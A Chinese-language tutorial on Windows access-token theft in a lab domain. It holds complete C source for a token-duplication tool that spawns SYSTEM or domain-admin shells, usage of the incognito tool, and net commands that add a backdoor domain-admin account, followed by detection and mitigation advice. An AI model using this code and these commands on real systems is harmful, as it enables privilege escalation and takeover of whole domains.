这篇文章将会对Windows 令牌窃取及防御技术进行介绍,所使用的环境是上一篇文章中搭建的环境:搭建一个简单的Windows域环境
Windows 访问令牌(Access Tokens) 是一个描述进程或线程安全上下文的对像。
令牌中的信息包括与进程或线程关联的用户帐户的标识和特权。当用户登录时,系统通过将用户密码与安全数据库中存储的信息进行比较来验证用户密码。如果密码通过身份验证,则系统将生成访问令牌。该用户执行的每个进程都有此访问令牌的副本。
当线程与安全对象进行交互或尝试执行需要特权的系统任务时,系统使用访问令牌来标识用户。访问令牌包含以下信息:
-
-
-
-
-
-
-
当用户创建可安全对象(securable object)且没有给出安全描述符时,系统使用的缺省的自主访问控制列表(DACL)
-
-
是否为primary或impersonation token
-
-
-
攻击者可以使用访问令牌在不同的用户或系统安全性上下文下进行操作,以执行操作并逃避检测。
攻击者可以使用内置的Windows API函数来复制现有进程中的访问令牌。这被称为令牌窃取。
攻击者必须已经在特权用户上下文(即管理员)中才能窃取令牌。攻击者通常使用令牌窃取将其安全上下文从管理员级别提升到SYSTEM级别。如果帐户对远程系统具有适当的权限,则对手可以使用令牌作为该令牌的帐户向远程系统进行身份验证。
令牌模拟/盗窃 -使用 DuplicateToken(Ex) 函数创建一个新的访问令牌,该令牌复制自现有令牌。然后可以将该令牌用于 ImpersonateLoggedOnUser 函数,允许调用线程模拟已登录用户的安全上下文,或者使用 SetThreadToken 函数将模拟令牌分配给线程。当目标用户在系统上具有非网络登录会话时,这很有用。
使用令牌创建进程 - 通过DuplicateToken(Ex)复制令牌,并使用CreateProcessWithTokenW 把复制的令牌用于创建在模拟用户的安全上下文下运行的新进程。这对于在其他用户的安全上下文下创建新进程很有用。
制作和模拟令牌 - 攻击者具有用户名和密码,但用户未登录到系统。可以使用LogonUser 函数为用户创建登录会话。该函数将返回新会话的访问令牌的副本,并且可以使用 SetThreadToken 函数用来将令牌分配给线程。
任何标准用户都可以使用 runas 命令和 Windows API 函数来创建模拟令牌。它不需要访问管理员帐户。
下面是窃取 SYSTEM 账号访问令牌的流程, SYSTEM 账号(超级管理员)权限比管理员权限更高,如可以修改一些系统注册表、修改一些系统文件。
-
首先,我们需要是管理员,如果不是,可以使用 bypass uac 等技术进行提权。
-
复制访问令牌的进程需要启用 SeDebugPrivilege 权限。
-
使用 OpenProcess 函数获取具有 SYSTEM 权限的进程句柄。
-
使用 OpenProcessToken 函数获取该进程的令牌句柄。
-
使用 DuplicateTokenEx 函数对令牌进程复制。
-
通过 CreateProcessWithToken 函数用复制的令牌创建新的进程,该进程成为拥有 SYSTEM 权限的进程。
#include <windows.h>
#include <stdio.h>
int main(int argc, char* argv[]) {
TOKEN_PRIVILEGES tokenPriv;
BOOL bResult = FALSE;
HANDLE hToken1 = NULL;
DWORD dwSize;
ZeroMemory(&tokenPriv, sizeof(tokenPriv));
tokenPriv.PrivilegeCount = 1;
// 启用 SeDebugPrivilege 权限
if (OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &hToken1) &&
LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tokenPriv.Privileges[0].Luid))
{
tokenPriv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
bResult = AdjustTokenPrivileges(hToken1, FALSE, &tokenPriv, 0, NULL, NULL);
if (!bResult) {
printf("AdjustTokenPrivileges Failed with Error Code: %d\n", GetLastError());
return 1;
}
}
else
{
printf("Open Process Token Failed with Error Code: %d\n", GetLastError());
return 1;
}
CloseHandle(hToken1);
// 打开目标进程句柄
HANDLE hProcess = NULL;
int pid = atoi(argv[1]);
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, TRUE, pid);
if (!hProcess)
{
printf("Cannot Open Process. Failed with Error Code: %d\n", GetLastError());
CloseHandle(hProcess);
return 1;
}
// 打开目标进程令牌
HANDLE hToken = NULL;
if (!OpenProcessToken(hProcess, TOKEN_QUERY | TOKEN_DUPLICATE, &hToken))
{
printf("Cannot Open Process Token. Failed with Error Code: %d\n", GetLastError());
CloseHandle(hToken);
CloseHandle(hProcess);
return 1;
}
// 复制令牌
HANDLE NewToken = NULL;
BOOL DuplicateTokenResult = FALSE;
SECURITY_IMPERSONATION_LEVEL Sec_Imp_Level = SecurityImpersonation;
TOKEN_TYPE token_type = TokenPrimary;
DuplicateTokenResult = DuplicateTokenEx(hToken, MAXIMUM_ALLOWED, NULL, Sec_Imp_Level, token_type, &NewToken);
if (!DuplicateTokenResult)
{
printf("Duplicate Token Failed with Error Code: %d\n", GetLastError());
CloseHandle(hToken);
CloseHandle(NewToken);
return 1;
}
// 使用复制的令牌创建新进程
STARTUPINFO startup_info = {};
PROCESS_INFORMATION process_info = {};
BOOL CreateProcTokenRes = FALSE;
CreateProcTokenRes = CreateProcessWithTokenW(NewToken, 0, L"C:\\Windows\\system32\\cmd.exe", NULL, CREATE_NEW_CONSOLE, NULL, NULL, &startup_info, &process_info);
if (!CreateProcTokenRes)
{
printf("Cannot Create Process With Token. Failed with Error Code: %d\n", GetLastError());
CloseHandle(NewToken);
return 1;
}
return 0;
}
使用 Visual Studio 创建一个新的控制台项目
在 Windows 7 虚拟机上登录本地管理员账号
这时可以看到一些用户名是 SYSTEM 的进程,如下图中 PID 为 336 的进程
cd C:UsersadminDesktop
GetToken.exe 336
这时会复制 336 进程的令牌,并打开一个新的 cmd,这个 cmd 就是拥有 SYSTEM 权限的 cmd ,可以在两个 cmd 上分别使用 whoami 命令来查看用户,可以看到新打开的 cmd 的账号是 nt authoritysystem
当域管理员在这台计算机上登录时,我们同样可以窃取域管理员的令牌,从而控制整个域。
先在 Windows 7 虚拟机上切换用户,使用 test 域的 administrator 账号登录
登录后使用任务管理器查看进程,发现已经有一些 administrator 账号启动的进程了
接着切换回本地管理员账号,窃取 PID 为 2768 的进程令牌,从而获取域管理员的令牌
可以看到新打开的 cmd 什么也没有显示,应该是标准输出出现了问题,但仍然可以执行命令,如在新打开的 cmd 窗口执行 calc.exe ,可以在任务管理器上看到打开了一个 calc.exe 进程,用户为 administrator 。
上面的简易工具还是不够好用,窃取令牌,我们可以使用 incognito2 工具,下载地址:
https://labs.f-secure.com/assets/BlogFiles/incognito2.zip
incognito.exe execute -c "testadministrator" cmd.exe
然后运行 whoami ,发现已经是域管理员了,我们已经成为域中的上帝,控制了整个域。
接着创建一个 test 账号并加入域管理员组,从而随时可以登录域控主机进行操作。
// 添加 test 用户,密码是 admin@123
net user test admin@123 /add /domain
// 把 test 用户添加进域管理员组
net group "domain admins" test /add /domain
// 查看域管理员
net group "domain admins"
1. 为了防止域管理员的令牌被窃取,应该禁止域管理员登录其它主机。如果登录了,使用完后应该及时重启电脑,从而把令牌清除。
访问令牌操作利用了内置Windows功能。访问令牌的使用被认为是Windows安全的最佳做法,因此禁止使用有问题的功能不是可行的解决方案。
但是,监视访问令牌操纵所必需的Windows 函数的使用可以帮助检测此攻击。应该监视以下操作以检测访问令牌操纵:
ImpersonateLoggedOnUser(API调用)
虽然这些命令和API调用可以用于合法功能,但监视它们的使用并调查使用它们的进程可以帮助检测执行访问令牌操纵的尝试。
策略位置:> 策略 > Windows 设置的计算机配置 > 安全设置 > 高级审核配置 > 详细跟踪
当进程创建时,可以在事件查看器上看到记录,下图中左边的记录是正常用户打开的 cmd , 可以看到它的令牌提升类型是 TokenElevationTypeLimited (3),而右边使用窃取令牌启动的 cmd 是 TokenElevationTypeDefault (1)
另外,也可以查看是否有异常用户权限的进程,如查看是否有异常的 SYSTEM 进程。下图中可以看到有一个 SYSTEM 权限的 cmd ,而一般 cmd 的用户不会是 SYSTEM 权限的,所以该进程可能是通过令牌窃取打开的进程。
Windows 访问令牌是用户登录后分配的用于标识用户权限的对象,通过复制令牌,我们可以摸拟该令牌代表的用户。典型的用法是获取 SYSTEM 权限,以及查看本机是否有域控账号的令牌,然后窃取该令牌,从而控制整个域。
本文作者:timeshatter
本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/131423.html